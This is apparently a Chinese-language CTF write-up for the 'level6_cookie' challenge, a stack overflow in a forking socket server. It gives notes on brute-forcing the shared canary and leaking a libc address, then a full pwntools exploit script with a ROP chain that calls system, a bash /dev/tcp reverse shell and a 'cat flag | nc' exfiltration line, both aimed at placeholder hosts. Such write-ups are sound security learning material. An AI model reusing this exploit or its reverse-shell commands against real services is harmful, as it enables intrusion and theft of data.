level6_cookie
这是一个简单的socket服务器栈溢出的题目
溢出漏洞点
特点:fork子程序,从同一片内存申请,cookie值一样,可以爆破
这里本地调试需要先创建一个具有root权限的level6,然后用该用户来执行该程序,注意这里需要先起一个服务器,然后再nc连上去进行调试
一些小知识点和疑问
1 2 3 4 5 6 7 8
| TCP反连;nc反弹shell:cat flag | nc xxx.xxx.xx.xx 8888 关于反弹shell的一些资料参考: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet https://www.gnucitizen.org/blog/reverse-shell-with-bash/ 疑问:为什么cookie会距离ebp有12byte这么远? 尝试解答:是不是这个ebp是主函数main的,而不是子函数的。所以中间还隔了一个子函数的ebp SIGCHLD 进程Terminate或Stop的时候,SIGCHLD会发送给它的父进程。缺省情况下该Signal会被忽略
|
调试用到的命令:
1 2 3 4 5 6 7 8
| print system info proc cat /home/level6/9441/fd ROPgadget --binary cookie ps -aux | grep cookie info proc all set follow-fork-mode child 上面一条命令参考链接:https://www.ibm.com/developerworks/cn/linux/l-cn-gdbmp/index.html
|
做题过程中遇到的问题和解决办法
- 对C语言写的socket不熟悉,需要去了解其中的流程(但其实对解题没太大的影响)
- 主要是这里用到了fork子进程来进行执行输入的,所以每次输入都会从同一个内存片段去取cookie(只要这个进程没断就是从同一片内存中取值)
- 一段时间没做题,调试起来有点生疏,调试的时候注意考虑下断点的位置,然后逐步ni单步查看执行的整个流程是否符合我们设置的跳转
- 这次调试不出来主要是参数个数问题,c语言里面没有默认参数为0这个说法,需要查好调用每一个函数的参数个数和值进行一一配置。
- 不必要的send多次payload可以通过ROP连接起来,灵活利用,灵活操作。
本题主要思路
- 配置好本地调试的服务器环境(具有root权限的level6)
- 爆破cookie
- 确定溢出位置和溢出长度
- 泄露send地址
- 确定下断点位置:0x08048C47进行调试
- 找到一个可写的地址,通过recv接收数据写到那个地址上,再把该地址作为参数给到system来调用即可getshell
具体详细代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
|
from pwn import * context.log_level='debug'
IP = '192.168.210.11'
PORT = 10006 NORMAL_RET_ADDR = 0x804897b TEST_FINI = 0x8048fc0
canary = "\x00" padding = "a"*64 """ for x in xrange(3): for y in xrange(256): with remote(IP, PORT) as p: if y == 10: continue p.send(padding+canary+chr(y) + chr(10)) try: info = p.recvuntil('GoodBye') p.close() break except Exception as e: print('exception %s' % e) p.close() continue print('got single byte %x' % y) canary += chr(y) print "cookie bruteforce complete with cookie = " + hex(u32(canary)) """ canary = p32(0xb28dff00)
p = remote(IP, PORT) libc = ELF('libc.so.6')
elf = ELF('cookie') send_plt = elf.plt['send'] send_got = elf.got['send'] vuln_addr = 0x0804897B payload1 = 'a'*64 + canary +'a'*12 + p32(send_plt) + p32(0) + p32(4) + p32(send_got) + p32(4) + p32(0) p.sendlineafter('Would you like some cookie?\n', payload1)
recved = p.recv()
print(len(recved)) send_addr = u32(recved) p.info('send addr %x' % send_addr)
libc_base = send_addr - libc.symbols['send'] p.info('libc base %x' % libc_base)
system_addr = libc_base + libc.symbols['system'] system_cmd = 'ls' p.info('system addr %x' % system_addr) recv_plt = elf.plt['recv'] writable_addr = 0x804b07c
p = remote(IP, PORT) pause() payload2 = 'bash -i >& /dev/tcp/xxx.xxx.xx.xx/8888 0>&1'.ljust(64, '\x00') + canary + 'a' * 12 + p32(recv_plt) + p32(system_addr) + p32(4) + p32(writable_addr) + p32(100) + p32(0) ''' payload2 = 'bash -i >& /dev/tcp/xxx.xxx.xx.xx/8888 0>&1'.ljust(64, '\x00') + canary + 'a' * 12 + p32(recv_plt) + p32(0x08048fb8) + p32(4) + p32(writable_addr) + p32(100) + p32(0) + p32(system_addr) + p32(0) + p32(writable_addr) ''' p.sendlineafter('Would you like some cookie?', payload2) p.send('cat flag | nc xxx.xxx.xx.xx 8888'.ljust(100, '\x00'))
payload3 = 'a' * 64 + canary + 'a' * 12 + p32(system_addr) + p32(0) + p32(writable_addr) p.info('system %x' % system_addr) p.close() p = remote(IP, PORT) p.sendlineafter('Would you like some cookie?', payload3)
|